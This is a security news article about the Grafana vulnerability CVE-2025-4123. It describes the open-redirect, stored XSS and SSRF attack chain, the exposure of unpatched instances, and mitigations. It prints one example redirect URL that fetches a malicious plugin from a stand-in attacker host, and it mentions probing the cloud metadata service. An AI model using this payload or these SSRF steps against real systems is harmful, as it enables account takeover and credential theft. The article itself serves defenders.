Over 46,000 Unpatched Grafana Instances Vulnerable to Account Takeover via Open Redirect Flaw

More than 46,000 internet-facing Grafana instances remain unpatched against a high-severity vulnerability (CVE-2025-4123) that chains an open redirect flaw with stored cross-site scripting (XSS), enabling attackers to execute malicious plugins and hijack administrative accounts. The vulnerability, patched by Grafana Labs in May 2025, affects versions 10.x through 12.x and exposes cloud metadata, API credentials, and internal networks to server-side request forgery (SSRF) attacks via the Image Renderer plugin¹.

Technical Breakdown of CVE-2025-4123

The vulnerability exploits a client-side open redirect in Grafana’s `/redirect?url=` endpoint, which fails to sanitize double-encoded path traversal sequences (`..%2F`). Attackers craft URLs that force victims to download and execute a malicious plugin ZIP file, leveraging Grafana’s trusted context to persist XSS payloads. When combined with the Image Renderer plugin, this allows SSRF probes to internal endpoints like AWS’s `169.254.169.254` metadata service². Grafana’s advisory confirms the flaw enables session hijacking and full account takeover, particularly in instances with anonymous access enabled¹.

Exploit Chain and Proof of Concept

The attack follows three stages: triggering the open redirect, delivering a malicious plugin via XSS, and escalating to SSRF. A documented payload example uses URL encoding to bypass filters:

https://grafana-vuln.local/redirect?url=https%3A%2F%2Fevil.example.com%2Fmalicious-plugin.zip

Once executed, the plugin’s JavaScript gains access to Grafana’s authentication tokens and API keys. Tenable researchers note this is especially dangerous in cloud environments where Grafana integrates with IAM roles³.

Mitigation and Patch Status

Grafana Labs released fixed versions (`12.0.0-security-01` and backported patches) on May 21, 2025. Immediate actions include:

Upgrading to patched releases
Disabling anonymous access in grafana.ini with enabled = false
Implementing strict Content Security Policy headers to restrict plugin execution¹

As of June 2025, Shodan scans reveal 46,000+ instances remain vulnerable, primarily in healthcare and financial sectors⁴.

Historical Context and Related Vulnerabilities

This follows similar Grafana flaws like CVE-2022-31107 (OAuth takeover) and CVE-2023-3128 (Azure AD bypass). The recurring pattern highlights risks in Grafana’s plugin architecture and redirect handling. IONIX researchers recommend auditing all plugin permissions and restricting outbound traffic from Grafana hosts².

Conclusion

CVE-2025-4123 demonstrates how chained client-side and server-side flaws in monitoring tools can lead to infrastructure compromise. Organizations using Grafana should prioritize patching and monitor logs for suspicious `/redirect?url=` requests. The exposure of cloud credentials via SSRF elevates this beyond typical web app vulnerabilities.